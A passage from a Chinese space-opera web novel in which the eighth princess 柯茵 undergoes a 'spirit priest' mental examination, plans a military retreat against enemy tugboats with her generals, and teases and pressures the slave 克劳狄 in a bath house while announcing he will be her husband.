军士长都看到属于自己却被皇女殿借走那杆烟枪被放着一柄制式相似,但做工更加精美的小型烟枪。
“我的仓库里只找到这件藏品,就当做是我的歉意吧。”
柯茵说着,看到军士长轻笑,手在侍者递上的托盘上悬停片刻,选择了皇女她的那柄新烟枪填料、点燃,在浴室里缓慢吮吸着清凉的香味。
在沉默中,亲兵队长先开口询问:
“殿下,在看到星门之后,您的意识——”
亲兵队长在暗示皇女她的精神健康,那她可是太不健康了,但可以还是笑着说。
“一切都好,精神牧师检查了我的脑子。”
她的脑子,柯茵想。牧师能检查出什么呢?如果他们真的有用的话。
事实上,柯茵觉得给她进行催眠检查意识的牧师多半是这个世界特有的江湖骗子,反正和柯茵所理解的精神医师相去甚远。
在来浴室之前,精神牧师拦下柯茵,热情地提出要帮柯茵检查脑子。
精神牧师和监狱医生的着装风格相似,都有一种把破烂随便套在身上的没干,他头带金属框的厚实护目镜,腰上别着小型链锯,柯茵想象不到任何一个精神科的医生会用小型连狙的场合。
柯茵本来是不想同意的,但他们实在盛情难却且有备而来。一近入皇女殿下的寝室,他们就掏出一台类似测谎仪似的设备,让柯茵坐在床头。按下开始的按钮后,测谎仪的指针在白纸带上滑动,随后几个奇怪的钢铁触手被精神医师们安插在柯茵脑袋的不同位置上。
再然后,精神牧师中的一位开始询问柯茵的问题。
柯茵觉得他只是简单地问了几个问题,便确定她现在的精神状态良好。比如看到星门之后的感受之类的,上一次睡觉的时长,还有她最喜欢的动物。
心里问卷一样的东西让柯茵觉得星际科技属实有些偏门。
但她还是盯着纸带上呈现出的波形如实回答。
看到星门之后只是觉得奇怪,她不常见到大眼睛挂在空中。
睡觉的时长也很令人满意……当然,柯茵没有主动提起自己的几个人格在脑海中互相拥挤导致她睡眠格外良好的事情。
至于最喜欢的动物。
柯茵回答,人类。
人类是最完美的动物,它们有着极致的求生本能,充沛的智力,卓越的勇气,它们有着最伟大无私的楷模,也是最愚蠢恶劣的个体。
等到整个检查完毕,精神牧师们才小心翼翼地告诉柯茵。
“您的精神问题……十分严重。”
“多严重?”
柯茵冷眼看着他们。
在皇女的威压下,牧师们保持了极高的心理素质,他们回答:
“几乎可以说是病入膏肓了……”
柯茵完全没想到这个答案,事实上她觉得自己的精神状态在系统的引导下简直好极了。
但牧师们只是尽职地继续说着:
“您的恶性感应已经到了‘合理化’的地步,也就是说,您正处于灵魂枯萎症病发的中后阶段。”
“您最近接受力量药剂的注射了吗?”
柯茵点头,“一些吧。”
“一些具体是多大剂量。”
“呃,两支,大概这么长的针管。”柯茵一边说一边笔画。
所有精神牧师都倒吸一口凉气。他们见证了可以载入帝国医疗史中的一幕,把兽用药剂量的力量药剂打进血管后,皇女殿下手刃了异化怪物,之后毫发无损地在他们面前好好喘气儿……哦她身上有一点伤口,但是据说是她自己划出来的。
她果然是病入膏肓了。
“您必须尽快接受换血治疗。”
牧师们说。
“防止您的精神状态继续恶化。”
柯茵答应见识一下那个什么换血疗法,她从几个精神牧师复杂的表情上看出来自己已经是成为了他们活得课题论文了。但是作为配合精神牧师们治疗的交换,她威胁这些牧师们不许把她的问题告诉任何人。
牧师们连连点头,赶紧把行走的课题挽留下来。
柯茵又问了他们几个问题,比如灵魂枯萎症的具体症状,柯茵这才了解这种灵魂枯萎症听来很可怕,但大概类似于癔症,看到不该看到的东西——比如把星门当做眼睛,又或者看到自己的头分裂成数个部分应该都属于癔症。
至于柯茵头脑中的那几个人格,几名牧师们却丝毫没有察觉。
柯茵觉得癔症不算问题,而她自然也没有主动暴露出自己有人格分裂的事情。
所以,柯茵仍然觉得自己精神状态好得不得了。
就像是她回答自己的亲兵队长的话:
“我从来没像现在这么精神过。”
柯茵想罢,让话题回到她叫两个将军来的目的上——凯瑟尔家出乎常理的撤军。
“其实我叫你们来是因为那条撤军消息,你们都收到了消息……所以,对此有什么想法?”
亲兵队长对这个问题似乎十分为难。
“这个问题已经远超了我的权职,殿下,我的任务是保护您的安全,必要的时候,我会建议您抛下这些凡人乘坐飞船先行离开。
军士长听到她的话,气氛地呛了起来。
“咳、咳咳、殿下,容我指出,就是有这样的人在前线给您建议,才一次又一次地损害了您的政治声誉!”
亲兵队长嘴角露出一丝讥讽的笑意:
“当然,死人的声誉总是最好的,这声誉就留给你吧,军士长。”
军士长眯了眯眼睛,忍住了回嘴的冲动,说到:
“目前的军事部署可以先保持不变。防止后撤是凯瑟尔家的障眼法。”
面对手下的内讧,柯茵并不太在意,只挑选其中对她有必要的内容略加引导。
“伊芙凯瑟尔看起来是个谨慎的人,她总是做多手准备,所以我同意你的观点,这很有可能是她计划的一部分。”
柯茵说着,呼出炼狱星系内的全息图看着航道路线。
炼狱星系是女皇特意挑选的流放地,因此星系格外荒僻,只在两颗黯淡的恒星周围环绕了运行轨道极为不规律的炼狱星本体。
这种不规律的轨道也是特意选定的。如果犯人有逃出行星引力的机会,那么驾驶飞船在恰当的轨道上运行,不至于坠入太阳也是一件相当复杂的事情。
这也是柯茵认为的筹备战争的关键。
缩小战线。
虽然柯茵才是穿越过来才有的机会查看星图,但作为八皇女,她这个时候学习星图就稍微有意思诡异,那画面就好似战争即将打响前,皇女殿下才开始匆忙学习《本地旅游驾驶指南》一般滑稽。
就在军士长和亲兵队长等着八皇女殿下对着星图要发表什么高见的时候,军士长的通讯器突然闪烁起来,她迅速查看后,脸色微变。亲兵队长则抬起头,等待她的回报。
军士长语气中带着一丝狐疑,仿佛她也无法确保情报的真假一样:
“皇女殿下,刚收到情报,虽然佯装上对的敌舰大多撤离,但敌方的四只拖船却依然按照预定计划穿越了星门。”
四只拖船?
如果柯茵想得没错的话,拖船就像是卡车的车头,拖船本身并不重要
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“货船……”
亲兵队长对四艘拖船的抵达显得有些不太在意,也可能是对于她们在边境的力量泰国自信,总之,亲兵队长开口说道:
“不管它们的来意是什么,我们目前在星门周围的巡察官似乎就能解决这个问题。”
“呵……”
军士长抽了一口烟斗,缓缓反驳:
“不是货船,是拖船。”
听到军士长的强调,柯茵神色凝重,她微微皱眉,目光暗下来似乎在思索什么。
通过先前的内讧,柯茵已经大概了解了军士长和亲兵队长二人的区别,在加上原主脑中的记忆,柯茵很明显地对两个人形成了大概的印象——
军士长出身基层,在参军之前生活在第十行省的底层,她是从士兵训练起家的,即使已经成为了帝国陆军安排在炼狱星系负责防卫的首席长官,但她仍然保持着从前的风格,和士兵同吃同住,对士兵如同家人,在决策中也是少见的会把手下士兵的性命看得比任务目标更重要的帝国军官,因此不管是士兵,还是原主都会按照她原来的职位叫她军士长,哪怕的她军衔和实际职能已经远超当初。
而亲兵队长则是帝国贵族的私生女,虽然是被偷窃的圣泉诞下子嗣,但是亲兵队长从小就被家族寻回,生活在彻头彻尾的贵族环境中,她的星辰力量货真价实,因此不免对普通人的生活和情感颇为漠视。
在拖船这个问题上,亲兵队长似乎就犯了这样的错误,她并没有真正见过拖船,因此遑论对它的能力进行正确的评估。
因此在这个问题上,柯茵打算更多地听取军士长的报告。
短暂地思考过后,柯茵将目光转向军士长,她询问道:
“我们可以知道那些拖船的型号吗?以那些拖船的马力可以拖什么?”
“一整颗小行星。”
军士长似乎一直就在等这个问题,她几乎是斩钉截铁的回答,让亲兵队长的脸上这才显露出一丝惊讶。
一整颗小行星听起来可比四艘货船恐怖多了。
柯茵猜到了军士长暗示给她的内容,这四艘拖船很有可能不是拖着四艘驳船,而是共同牵引着什么东西跨越了星门——就比如一颗小行星。
柯茵明白,凯瑟尔家族不是什么省油的灯,她们既然敢冒这么大的风险构陷暗杀她们的封臣,她们怎么可能仅仅是因为暗杀不起效果就轻易放弃?
柯茵想,如果是自己的话,现在退缩就是血本无归。
她无论如何都会跟注下去。
这就是战争,利益的纠葛和贪婪的驱使,让各方都难以自拔。
柯茵顿了顿,继续分析道:“依我看,凯瑟尔家族大概率只是回缩军队,重新谋划,我们千万不能掉以轻心。”
“但那是如果它们真的拖着一颗小行星大小的东西的话,行进速度不可避免地会被拖慢。”
行进速度不可避免地被拖慢是柯茵想要听到的。
她恰好想要回缩阵线,用少量军队看管很长的阵线是愚蠢的。
“那我们就当凯瑟尔家的影子,我们也回撤在小行星带的兵力。”
“殿下,我理解您的意图,但允许我指出这么做的风险,我们的通讯有赖于星际间的各个基站,如果整体展现回撤,会让和星系外通讯的基站暴露在外。”
“那就放弃那些基站,把我们的活人撤回来。”
军士长理解了柯茵的用意。
“如果凯瑟尔家的拖船满载什么东西,她们最少要一周才能接近炼狱星。”
“那为什么我们不在拖船刚刚进入星系的时候就把它们都消灭?”柯茵尝试性地引导到。
亲兵队长点头,表明自己也认同这个计划。
“边境是皇女的亲兵编队,如果只是拖车的话,他们应该可以第一时间处理。”
“说到底,那只是四个车头。”
军士长对亲兵队长的轻敌感到不可思议。
“只是‘四个车头’?”
“没有争得必要,我们同时进行就可以了。”柯茵为这次讨论盖棺定论,她们细致商议了人员的回撤和重新编队的问题。
军士长向柯茵指出了整个回撤计划可能损失的暗堡、战船、通讯基点等。
众人正讨论时,隔壁浴室突然传来一阵水声,伴随着男人的喝止。
“放开我!”
显然,在隔壁浴室发生了什么……不好的事情。
柯茵的将军们先是一愣,随后纷纷先于柯茵明白了发生了什么,并找起借口。
22. 疯子和疯子们(21)
柯茵的将军们先是一愣,随后纷纷先于柯茵明白了发生了什么,并找起借口。
脑子灵光的军士长率先尴尬地笑了笑:“呃,皇女殿下,我们的讨论已经足够执行了,我突然想起还有些军务没处理,先失陪了。”
不苟言笑的亲兵队长也急忙跟上:“我也得去看看物资储备情况了,晚点见,殿下。”
眨眼间,将军们便礼貌地匆匆离开了浴室。
柯茵独自坐在泉水中,看着渐渐散去的水汽,眼神愈发深沉,仿佛在思考着这场战争更为复杂的局势。
柯茵知道隔壁浴室中的是克劳狄,但她没做理会。
直到侍者前来求援。
“皇女殿下,我们实在是搞不定那头‘野兽’……”
野兽?还是猎人。
她回忆起雪夜里他的举动,回想起红色的信号弹光芒。
不过不论是那种,凯瑟尔家的奴隶的确不是她手边这些文弱的侍者们可以处理的。
柯茵苦笑两声,摇了摇头,想让侍者下去,却听到了浴室远处,先前侍者指过的附近传来打斗的声音,绿色的池水溅在紫红色马赛克的地砖和墙砖上,弄得浴室内一片狼藉。
看来,真正对她政治声誉有损的是这些东西才对。
柯茵叹了口气,从温泉边缘站起来,接过侍女递来的毛巾随便一裹,走到打斗发生的地方。
“大家伙,看起来你又精神了。”
柯茵不耐烦地抱起手,像是训斥孩子那样训到。
“如果你执意为难我的侍从的话,或许你想让士兵们过来押着你冲洗?”
绿色的浴池水中,克劳狄光裸着上身,他的胸前布满先前被性感的黑色防水布围裙挡住的新旧伤痕,那些伤痕衬出克劳狄精悍的身材。几个侍从正试图给他套上一条几乎半透明的丝绸长袍,却被他野兽般的力量掀翻在地。
看柯茵抱手站在岸上,克劳狄冷哼一声,回答她:
“让这些该死的侍者滚开,再解开我的镣铐……我会配合你的。”
克劳狄说完,目光飘到柯茵的被绷带包扎的手上,他垂下眼,自觉心虚地小声服软道:
“解开一只手也行,我会自己洗澡,也会自己穿衣服。”
“你救了我了一命,我会报答你的,不会逃跑或者做出威胁你的事情。”
当然,柯茵想到,在昨夜的大雪中,他的诚意她已经看到了。
或许只是单纯地想要报答柯茵的救命之恩,又或者是有什么别的目的,克劳狄帮他猎杀了那头怪物,他的熟练丝毫无愧于之前他的狩猎侍从身份。
但柯茵却敏锐地觉察到克劳狄身上有远超于奴隶的过往。
他的言行,认识,谈吐绝非一个奴隶所能有的。
柯茵不知道为什么,这个世界中除了她并没有人在意到这出不同。
她想到了自己的亲兵队长,对于她来说,凡人都那么不值一提,更遑论奴隶,或许这就是克劳狄身上这么明显的不和谐没有被发掘的原因。
柯茵决定趁这个档口挖出克劳狄的秘密。
于是她咄咄逼人地说到:
“骗子的承诺对我来说没有任何价值。”
“所以,我拒绝你的提议,实在不行我就去叫士兵来了。”
柯茵看了一眼浑身上下被扒得什么都不剩的克劳狄,轻笑一下,觉得这是个在合适不过的提价时机。
“放弃吧,克劳狄,你已经被十好几个男人上下其手过了,贞洁又不能当饭吃,如果我把士兵叫过来,就又是十好几个男人对你上下其手,还要看光你的身——”
“够了……!”
不知道是被浴室里的蒸汽蒸得,还是被柯茵的话弄得,克劳狄浑身都红了起来,由以耳尖最甚。但他看向柯茵的灰色眼睛仍然坚定。
“你救我的一次我已经偿还了,现在我不欠你什么,殿下。”
柯茵无奈地挠了挠额角,嘟囔两句。
“真固执……”
嘟囔的时候,柯茵想到一个好主意。
“这样吧,你们都起开,我给他洗。”
这话像是惊雷一样劈开了整间浴室。
???
侍者们在柯茵拍手之前就逃跑一样地钻出了浴室。
克劳狄更是肉眼可见的手足无措起来。
“你要干嘛?!”
柯茵歪了歪头,十分无辜地回答:
“帮你洗干净啊?还能干嘛?”
说吧,她伸脚用趾尖探了探克劳狄水池里的水温,在感觉没什么问题之后就捏着鼻子像是跳水一样打算一跃而下。
水花四溅,雾气氤氲。
柯茵感觉自己没有被温暖的池水包裹住,反而落入一个强有力的怀抱。
笑着别好挡住自己眼睛的头发,柯茵看到克劳狄线条分明的脸庞就在眼前——一双冷峻的灰色眼睛不敢置信且担忧地看着她,他的黑发被打湿后显得更长,几缕发丝黏在他额前。
克劳狄就那么用手臂环住她的腰,温热的呼吸拂过她的鼻尖。
“克劳狄.....”柯茵故意向前伸手揽住了克劳狄,并感受到他的身体几乎在瞬间就僵硬起来,像只躲避亲吻的猫一样忍不住推拒着。她戏谑地笑着,侧头看向抱着她的男人,“你要干什么?作为奴隶……你这种行为还真是胆大包天呀。”
克劳狄浑身湿漉漉的,水珠顺着他光滑的脸庞和结实的手臂滑落。他脸上泛起红晕,睫毛上还挂着水珠,却仍固执地收紧手臂。柯茵能感觉到他的心跳透过相贴的皮肤传来,既紧张又急促。
“您的手不能沾水。”他低声说着,却避开了柯茵的眼睛。
柯茵的浴袍被打湿,半透明的丝绸贴在身上。她感觉到克劳狄的手指微微颤抖,却又不敢松开,只能维持着这个暧昧的姿势,慢慢地向岸边走去。
池水随着他们的移动泛起涟漪,水声在静谧的浴室里格外清晰。
“哈,你是在关心我吗?”柯茵故意用试探的语气问道,指尖若有若无地划过他的手臂,“二十分钟之前你好像还很恨我。”
克劳狄的喉结滑动了一下,只是抿着嘴,小心翼翼地把她放在池边的石阶上。他想要退开,但被柯茵拉住了手腕。镣铐碰撞的声音在潮湿的空气中回荡。
克劳狄浑身湿漉漉的,羞红一张脸,垂着被水雾打湿的睫毛,再次避开柯茵目光,别扭地解释着:
“星辰力量者的伤口不能碰这种池水。”
“嗯哼……常识”
“况且,我不是不懂得感恩的人,你救了我的性命……我没什么可报答的……我只是不喜欢你和你手下人对待我的方式。”
克劳狄有些语无伦次地说着,看到浴池边使者们留下来的,给皇女换药的托盘。
他看了一眼那托盘,询问性质、带点小心地对上柯茵的目光。
柯茵点了点头,默许了他给自己换药的行为。
克劳狄那双骨节分明的大手意外轻巧地拆开柯茵手上的纱布,像是看到珍贵的收藏品一样牵着她的指尖正反看了看,似乎惊讶于星辰之力竟然让伤口愈合的如此快速。
柯茵任他施为,坐在温暖的浴池边,用食指理了理克劳狄额前的头发,接上他方才的话:
“你说没什么可报答我的,但其实,报答我的手段还有很多,比如在我的卧室——?”
柯茵的话里带着早有预谋的进攻性,就是为了刺探克劳狄的底线和原则。
“呵……”
克劳狄几乎是从牙缝里挤出声音,声音里带着显而易见的自嘲,嘲笑自己轻易地进入了这个贵族的网罗,以至于忘记她恩赐的代价多么沉重。但他手上的动作仍是轻柔的,他细心地涂匀药膏,并再次替柯茵缠上了纱布。
做完这一切,他抬起那双属于奴隶的灰色眼睛,坚定地看向眼前这个帝国最不可一世的皇族继承人。
“……除了爬你的床,皇女殿下,我什么都可以为你做。”
他说这话时下巴微微扬起,像是在维护最后一点尊严,但脖颈上浮现的红晕却暴露了他的窘迫。
柯茵饶有兴趣地看着他的窘迫,托着腮想,那还真是可惜。
“您有很多男宠,我相信他们能比我做得更好。”
“请您允许我拒绝您的……好意。”
柯茵啧了一声,但却不是为
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克劳狄的反应而恼火。
而是因为“您有很多男宠”。
没想到除了糟糕的政治声誉,体弱多病的身体,原主还给她留下了一堆男宠这种烂摊子。
柯茵前一世见过很多这样的人,那些男人,只要他们依附他人而活的时候,都是一副令人倦怠的只要想的谄媚样子,他们的示弱、他们的泪水只会让她多疑,他们背后或多或少的阴谋阳谋更是让人彻夜难寐。
柯茵想着,脸上难免露出不快的表情。
看到她有些不快,克劳狄自然会错了意,以为是自己的拒绝惹怒了这个以专横无理闻名的皇女。
他对皇女的好感消散了一些,也意识到自己不能对她有任何的期待,但话又说回来,他为什么会对她产生期待呢?因为她凭借着保护新奇的玩物的心情救了自己两次吗?
克劳狄摇了摇头、垂下眼,再内心耻笑自己的愚蠢,准备听凭皇女向来任性的裁决。
“但是,克劳狄……你和他们又不一样。”
“你会是我的丈夫。”
克劳狄猛然看向柯茵,不解中带着一丝被人宰割的愤懑。
柯茵嘴角忍不住上扬,没错,她要的就是这种反应。
“但是,克劳狄……你和他们又不一样。”
“你会是我的丈夫。”
“从今往后,出现在我的床上会是你应尽的义务,不管你用什么方式,跳上去也可以,只要我看不见。”
柯茵笑着,看克劳狄耳尖逐渐攀红,神情逐渐失措。
柯茵已经逐渐掌握了他害羞的规律。但这次,柯茵从克劳狄恢复平静后的谨慎神色中看出他似乎真的在思考什么——
柯茵知道,他在思考自己被曾经想要杀了他的皇女非要要把他当做盟友的理由。
“为什么?为什么要给我这种……殊荣。”
通过克劳狄的话,柯茵明显地听出他喉中哽着的不悦,他为了不激怒她,已经在努力措辞了。
可话又说话来,这真的是一个奴隶可以组织出的语言吗?
“我不知道这种殊荣的价值——成为您的丈夫。”
“只要在凯瑟尔家面前,我仍然活着就好,这不是您刚刚说的吗?”
在那之后,他对她还有什么价值吗?
克劳狄灰色的眼睛抬起,看向柯茵,冰川缓缓地滑动,融化进宇宙的黑色之中。
“因为你的姓氏。”
克劳狄听完,压抑住自己的反应,然后接着低下头。柯茵看他没有反应就知道他其实心里多少还是有一点失落的。尊贵的皇女要一个奴隶当她的丈夫,除了化解阴谋,还能有什么理由呢?
“也因为你很漂亮。”
柯茵笑着说,走下水池,走到克劳狄边上,点了点克劳狄的鼻尖。
这下克劳狄像是被启动了什么开关一样整个人都僵住了。
“您在开玩笑……”
“是的。”
柯茵毫不留情地否认了自己的真心话,然后接着解释。
“我需要你,还因为一些别的理由。”
柯茵需要克劳狄,不仅仅是因为要他在凯瑟尔面前逢场作戏那么简单。
她需要克劳狄,是因为更多的理由。
柯茵脸上温和的笑意没有消失,但她嘴上却画风一转,凌厉地发问:
“我需要你,克劳狄,因为你不只是一个奴隶。”
“我说的对吗?”
像是一场梦幻的圆舞曲中,女伴忽然扬起自己藏在背后已久的尖刀刺向她的爱人,又像是一首唯美的钢琴曲里愕然的错音。
“奴隶只会恨他拥有他的主人,而不会恨那个奴役他的家族。”
柯茵说完,从泳池中起身,想着地下温泉的深处走去,穿过泳池漫长的阴暗长廊,里面就是八皇女的圣泉。
“说到底,奴隶为什么想要覆灭一整个凯瑟尔家族呢?”
克劳狄眼里再次滑过诧异。
“我不明白您在说什么,我只是凯瑟尔家奴隶,她们的狩猎侍从,皇女殿下。”
“而我现在是您的,卑微的奴隶。”
“我几乎要相信了,真的。”